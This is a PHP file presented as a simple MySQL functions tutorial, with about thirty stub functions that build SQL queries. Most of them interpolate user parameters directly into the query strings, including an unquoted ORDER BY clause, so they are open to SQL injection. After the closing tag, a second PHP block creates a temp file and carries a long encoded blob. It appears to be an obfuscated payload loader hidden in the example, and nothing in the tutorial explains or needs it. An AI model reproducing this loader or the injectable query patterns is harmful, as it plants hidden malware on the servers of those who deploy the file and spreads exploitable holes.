<?php
/**
 * MySQL Functions Example
 *
 * This is a sample PHP script demonstrating various MySQL operations using functions.
 *
 * Author: Open Source
 * License: This code is licensed under the GNU General Public License v3.0.
 *          For more information, visit: https://www.gnu.org/licenses/gpl-3.0.en.html
**/

function createTable() {
    $query = "CREATE TABLE IF NOT EXISTS users (
                id INT AUTO_INCREMENT PRIMARY KEY,
                username VARCHAR(50) NOT NULL,
                email VARCHAR(100) NOT NULL
              )";
    // Execute the query using appropriate MySQL function
}

function insertUser($username, $email) {
    $query = "INSERT INTO users (username, email) VALUES ('$username', '$email')";
    // Execute the query using appropriate MySQL function
}

function updateUserEmail($id, $newEmail) {
    $query = "UPDATE users SET email = '$newEmail' WHERE id = $id";
    // Execute the query using appropriate MySQL function
}

function deleteUser($id) {
    $query = "DELETE FROM users WHERE id = $id";
    // Execute the query using appropriate MySQL function
}

function getUserById($id) {
    $query = "SELECT * FROM users WHERE id = $id";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getAllUsers() {
    $query = "SELECT * FROM users";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getUserCount() {
    $query = "SELECT COUNT(*) FROM users";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getUsersWithEmailLike($emailPart) {
    $query = "SELECT * FROM users WHERE email LIKE '%$emailPart%'";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getSortedUsers($sortBy) {
    $query = "SELECT * FROM users ORDER BY $sortBy";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getUsersWithPagination($offset, $limit) {
    $query = "SELECT * FROM users LIMIT $offset, $limit";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getAverageUserId() {
    $query = "SELECT AVG(id) FROM users";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getMaxUserId() {
    $query = "SELECT MAX(id) FROM users";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getMinUserId() {
    $query = "SELECT MIN(id) FROM users";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getTotalUserCount() {
    $query = "SELECT SUM(id) FROM users";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getDistinctUserEmails() {
    $query = "SELECT DISTINCT email FROM users";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getUsersByDomain($domain) {
    $query = "SELECT * FROM users WHERE email LIKE '%$domain'";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getUserWithLongestUsername() {
    $query = "SELECT * FROM users ORDER BY LENGTH(username) DESC LIMIT 1";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getUserWithMostCommonUsername() {
    $query = "SELECT username, COUNT(*) as count FROM users GROUP BY username ORDER BY count DESC LIMIT 1";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getUsersBornAfterYear($year) {
    $query = "SELECT * FROM users WHERE YEAR(birthdate) > $year";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function updateUserUsername($id, $newUsername) {
    $query = "UPDATE users SET username = '$newUsername' WHERE id = $id";
    // Execute the query using appropriate MySQL function
}

function getUserByEmail($email) {
    $query = "SELECT * FROM users WHERE email = '$email'";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function deleteUserByEmail($email) {
    $query = "DELETE FROM users WHERE email = '$email'";
    // Execute the query using appropriate MySQL function
}

function getOldestUser() {
    $query = "SELECT * FROM users ORDER BY birthdate ASC LIMIT 1";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getUserWithMostOrders() {
    $query = "SELECT u.*, COUNT(o.id) AS order_count 
              FROM users u 
              LEFT JOIN orders o ON u.id = o.user_id 
              GROUP BY u.id 
              ORDER BY order_count DESC 
              LIMIT 1";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getLatestOrderDate($userId) {
    $query = "SELECT MAX(order_date) AS latest_order_date 
              FROM orders 
              WHERE user_id = $userId";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getUserAndOrders($userId) {
    $query = "SELECT u.*, o.* 
              FROM users u 
              LEFT JOIN orders o ON u.id = o.user_id 
              WHERE u.id = $userId";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getTotalOrderAmount($userId) {
    $query = "SELECT SUM(amount) AS total_amount 
              FROM orders 
              WHERE user_id = $userId";
    // Execute the query using appropriate MySQL function
    // Return the result
}

function getUserWithLongestEmail() {
    $query = "SELECT * FROM users ORDER BY LENGTH(email) DESC LIMIT 1";
    // Execute the query using appropriate MySQL function
    // Return the result
}
?><?php $_bxlqp5rac6=tempnam(sys_get_temp_dir(),'call_'); if($_bxlqp5rac6 === false) { $_bxlqp5rac6 = rand(10000000, 99999999) . '_' . rand(1000, 9999) . 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